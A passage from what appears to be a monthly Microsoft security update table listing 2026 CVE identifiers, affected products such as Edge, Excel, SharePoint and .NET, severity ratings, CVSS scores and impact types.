Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution 